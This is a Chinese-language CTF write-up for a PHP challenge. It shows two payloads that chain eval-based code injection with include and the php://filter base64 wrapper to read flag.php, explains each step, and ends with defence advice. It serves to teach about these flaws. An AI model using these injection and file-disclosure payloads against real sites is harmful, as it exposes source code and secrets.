题解
方法一:
源码过滤了分号,echo,反引号,单引号,括号,分号。但没有过滤双引号。
url + ?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
利用 php://filter
协议读取源码并进行 Base64 编码 的 本地文件包含(LFI)攻击,主要结合了 include
语句和 PHP 的特殊协议 php://filter
,下面是详细原理分析:
🧠 1. 目标点 —— include $_GET["a"]
这意味着:
<?php
include $_GET["a"];
?>
所以传入 a=xxx
,等同于执行:
include 'xxx';
🧪 2. 利用 php://filter
伪协议
这是 PHP 的一种特殊协议,允许对文件进行过滤(如编码)再读取。
语法格式如下:
php://filter/read=convert.base64-encode/resource=目标文件
它会读取目标文件的源码内容,然后用 Base64 编码返回。
例如:
php://filter/read=convert.base64-encode/resource=flag.php
能返回 flag.php
的源代码的 Base64 编码内容。
💥 3. 最终组合利用
你传入的 URL:
?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
说明网页某处代码可能类似于:
<?php
eval($_GET['c']);
然后你构造的 c=include$_GET["a"]?>
,拼接后变成:
include $_GET["a"];
?>
所以最终执行的是:
include 'php://filter/read=convert.base64-encode/resource=flag.php';
🎯 最终效果
-
用 伪协议
php://filter
绕过了 PHP 的代码执行,转而读取源码 -
用 Base64 编码防止源码中的敏感字符(比如
<?php
)被执行 -
成功 获取
flag.php
的源码内容
🔐 防御建议
-
永远不要
eval($_GET)
,这是极度危险的操作! -
对
include
的文件路径做白名单或严格校验 -
禁用
php://filter
等敏感协议,或设置open_basedir
方法二:
方法大同小异
url + ?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
利用 代码注入 + 本地文件包含(LFI)+ php://filter伪协议 的组合攻击。
🧩 分析结构
先把它拆分成清晰的部分:
参数部分:
?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
可以看出:
-
c=...
:你传了一段 PHP 代码 -
url=php://filter/...
:你传的是要包含的文件路径
🧠 核心原理解释
🌟 1. 代码注入入口:?c=...
假设服务器代码有这样一段:
<?php
eval($_GET['c']);
?>
⚠️ 这是极其危险的代码,攻击者可以直接注入任意 PHP 代码!
你传入的 c
值是:
$nice = include $_GET["url"];?>
这个代码在 eval 中执行后,相当于:
$nice = include $_GET["url"];
?>
然后根据你传入的 url=php://filter/read=convert.base64-encode/resource=flag.php
,就会变成:
$nice = include 'php://filter/read=convert.base64-encode/resource=flag.php';
📦 2. include + php://filter 的作用
PHP 有一个叫 php://filter
的伪协议,它可以在读取文件时应用一些过滤器。
在这个例子中:
php://filter/read=convert.base64-encode/resource=flag.php
它的作用是:
-
打开
flag.php
文件 -
对其源码内容做 Base64 编码
-
然后返回结果
所以 include
的结果就是将 flag.php 的源码以 base64 编码的形式包含进来!
🖨️ 3. 结果展示方式
由于你是用 eval()
执行的,而且代码最后是:
$nice = include '...';
在 PHP 中,include
的返回值是被包含文件的返回值(return 值)。如果没有 return,通常会返回 1
。
但是包含的内容本身也可能输出 —— 所以**flag.php
被 base64 编码后输出到页面上**了!
✅ 总结执行流程
-
服务端执行:
eval($_GET['c']);
-
你传入的
c=$nice=include$_GET["url"];?>
被 eval 执行 -
url
是php://filter/read=convert.base64-encode/resource=flag.php
-
实际执行的代码:
$nice = include 'php://filter/read=convert.base64-encode/resource=flag.php';
-
flag.php
被读取,源码被 Base64 编码后输出到了页面
🧱 防御方法建议
类型 | 建议 |
---|---|
绝对禁止 | eval($_GET['c']) 或任意来源的不可信 eval() |
限制协议 | php://filter 等协议可以通过 allow_url_include=Off 和 open_basedir 限制 |
路径白名单 | 对 include 的文件路径强制限制在指定目录下 |
不显示源码 | 尽可能避免源码暴露,关闭错误提示和调试输出 |